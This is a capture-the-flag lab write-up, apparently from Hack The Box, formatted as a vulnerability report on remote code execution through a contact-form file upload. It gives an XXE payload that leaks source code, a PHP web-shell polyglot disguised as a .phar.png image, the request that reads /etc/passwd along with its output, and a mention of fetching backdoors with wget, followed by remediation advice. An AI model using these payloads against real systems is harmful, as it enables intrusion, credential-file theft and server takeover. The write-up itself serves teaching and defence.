π‘οΈ Remote Code Execution via File Upload (HTB)
CWE:
- CWE-434 β Unrestricted Upload of File with Dangerous Type
- CWE-78 β Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CVSS (Estimated):
Base Score: 9.1 (Critical) Vector: AV\:N/AC\:L/PR\:L/UI\:N/S\:U/C\:H/I\:H/A\:L
π§ | Overview:
A Remote Code Execution (RCE) vulnerability was discovered on the file upload feature located at:
π http://83.136.255.115:54930/contact/
The contact form allows users to upload screenshots (images only), but due to improper file validation and weak content checking, it is possible to upload a disguised PHP web shell (e.g., .phar.png
), and then execute arbitrary system commands via the browser using the cmd
parameter.
This flaw allows attackers to execute system commands like cat /etc/passwd
directly from the web interface, leading to critical compromise of server confidentiality and potential privilege escalation.
β οΈ | Impact:
- Full Remote Command Execution on the target server.
- Exposure of sensitive system files (e.g.,
/etc/passwd
). - Server Takeover Potential depending on privilege of the web server user.
- Could serve as a pivot point into the internal network if hosted within an infrastructure.
π οΈ | Fix Recommendation:
β ** File Validation Best Practices:**
- Use strict allow-lists: only allow extensions like
.jpg
,.jpeg
,.png
. - Check both the file extension and content type (MIME).
- Use
finfo_file()
or other robust tools to verify MIME type.
β ** Never allow executable content**:
- Completely block
.php
,.phar
,.phtml
,.svg
, and similar. - Donβt trust file name extensions alone β validate file content.
β ** Isolate uploaded files**:
- Store in directories not served by the web server.
- Avoid rendering uploaded files via
displayHTMLImage()
or similar functions directly.
β ** Restrict command parameters**:
- Never pass unvalidated parameters like
$_REQUEST['cmd']
to system functions likesystem()
.
β
Consider disabling dangerous functions like system()
, exec()
in php.ini
.
π | Detailed Exploitation Steps:
1. Explore the Upload Functionality
-
Go to:
http://83.136.255.115:54930/contact/
-
Youβll find a contact form asking for:
-
Name
- Message
- Screenshot Upload (accepts
.png
,.jpeg
, etc.)
2. Intercept the Upload Request in Burp Suite
When uploading an image (e.g., screenshot.png
), capture the request using Burp Suite (or any HTTP proxy). It looks like this:
POST /contact/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJTyhbuG9ppAyn9tJ
------WebKitFormBoundaryJTyhbuG9ppAyn9tJ
Content-Disposition: form-data; name="uploadFile"; filename="shell.svg"
Content-Type: image/jpeg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
------WebKitFormBoundaryJTyhbuG9ppAyn9tJ--
π― ** Goal: Read the source code of upload.php
using XXE (XML External Entity)** and get the real upload logic.
3. Decode the Source Code of upload.php
After submitting the payload above, the server returned base64-encoded PHP source of the upload script:
π | upload.php logic (decoded)
$target_dir = "./user_feedback_submissions/";
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) die("Extension not allowed");
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) die("Only images are allowed");
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
foreach (array($contentType, $MIMEtype) as $type) {
if (!preg_match('/image\/[a-z]{2,3}g/', $type)) die("Only images are allowed");
}
if ($_FILES["uploadFile"]["size"] > 500000) die("File too large");
if (move_uploaded_file(...)) {
displayHTMLImage($target_file);
}
π Key Observations:
- Blacklist-based filtering (bad practice).
- Only blocks
.php
,.phtml
extensions, but doesn't block.phar
or double extensions. - MIME type is checked, but can be spoofed.
- Final location of uploaded file:
/contact/user_feedback_submissions/{date}_filename.ext
4. Bypass Filters with a Polyglot File
We created a file: shell.phar.png
π File Content:
ΓΏΓΓΏΓ οΏ½JFIFοΏ½,,οΏ½οΏ½ β Fake JPEG header
<?php system($_REQUEST['cmd']); ?>
This is a polyglot file β it appears as a JPEG (due to the fake header), but it contains executable PHP code.
5. Upload and Trigger RCE
- Upload
shell.phar.png
via the contact form. -
Bypass works because:
-
The file extension passes the whitelist (ends with
.png
) - MIME spoofing tricks the type check.
- The backend doesn't detect the embedded PHP.
6. Execute Commands via the Web Shell
The uploaded file lands at:
http://83.136.255.115:54930/contact/user_feedback_submissions/250504_shell.phar.png
To execute commands:
http://83.136.255.115:54930/contact/user_feedback_submissions/250504_shell.phar.png?cmd=cat%20/etc/passwd
π | Result:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
You can now run any Linux command, like ls
, whoami
, or even wget
for backdoors.
β | Conclusion:
This vulnerability allows attackers to upload a disguised PHP shell and execute arbitrary system commands due to:
- Weak file extension checks.
- Incomplete MIME validation.
- Serving uploaded files from a publicly accessible web directory.
Immediate remediation is critical to prevent full system compromise.